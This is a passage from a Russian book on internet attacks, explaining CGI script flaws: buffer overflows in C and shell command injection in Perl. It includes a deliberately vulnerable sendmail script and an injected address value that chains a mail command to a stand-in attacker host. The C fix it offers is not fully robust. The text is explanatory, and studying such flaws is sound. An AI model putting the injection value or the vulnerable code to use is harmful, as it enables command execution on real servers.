Читаем Атака на Internet полностью

char buff [4096];

int length = atoi(getenv("CONTENT_LENGTH"));

fread(buff, 1, length, stdin);

Возможное переполнение буфера налицо. Справиться с этой проблемой очень легко – достаточно динамически выделить буфер требуемой длины:

int length = atoi(getenv(«CONTENT_LENGTH»));

char* buff = new char[length];

if(buff)

fread(buff, 1, length, stdin);

Потенциально опасны многие строковые функции, определяющие конец строки по завершающему нулю. Поэтому вместо функций strcpy, strcat, strcmp и т. п. настоятельно рекомендуется использовать их аналоги strncpy, strncat, strncmp, позволяющие указать максимальное количество обрабатываемых символов.

Казалось бы, можно ограничить объем вводимой информации указанием соответствующих параметров в тэгах формы, но это еще одно очень опасное заблуждение, которого мы коснемся чуть позже.

Возможно, именно из-за необходимости постоянно контролировать размер буфера многие начинающие (и не только) CGI-программисты предпочитают Perl.

Во-вторых, следующий большой класс ошибок связан с вызовом внешних программ. Здесь Perl предоставляет больше шансов для случайной ошибки – в то время как у С++ с этой точки зрения потенциально опасны функции popen и system (причем вместо последней часто можно безболезненно воспользоваться exec или spawn), у Perl проблемными считаются функции system и exec, open с перенаправлением вывода (аналогичная popen), функция eval, а также обратная кавычка «`».

Сами по себе перечисленные функции достаточно безопасны, и, если скрипт просто вызывает некую внешнюю программу, никакой беды в этом нет. Сложности возникают, когда скрипт передает внешней программе в качестве параметра некую информацию, введенную пользователем: адрес, сообщаемый программе электронной почты, вызов grep из поисковой системы и т. д. Если в процессе вызова внешней программы будет участвовать командная оболочка, как это происходит при использовании перечисленных функций, то можно воспользоваться ее управляющими символами и выполнить на сервере любую команду.

Очевидный пример – отправление письма по адресу, указанному пользователем (например, в качестве подтверждения какого-то запроса и т. п.):

#!/usr/bin/perl

use CGI qw(:standard);

$query = new CGI;

$mailprog=’| /usr/sbin/sendmail’;

$address= $query->param(’address’);

$from=’webmaster@somehost’;

open (MAIL,"$mailprog $address");

print MAIL "From: $from\nSubject: Confirmation\n\n";

print MAIL "Your request was successfully received\n";

close MAIL;

Теперь предположим, что пользователь ввел следующий обратный адрес: hacker@evil.com;mail hacker@evil.com Кроме того, при этом вполне может быть использована какая-нибудь недокументированная команда или люк, позволяющие выполнить код от имени привилегированного пользователя.

Перейти на страницу:

Похожие книги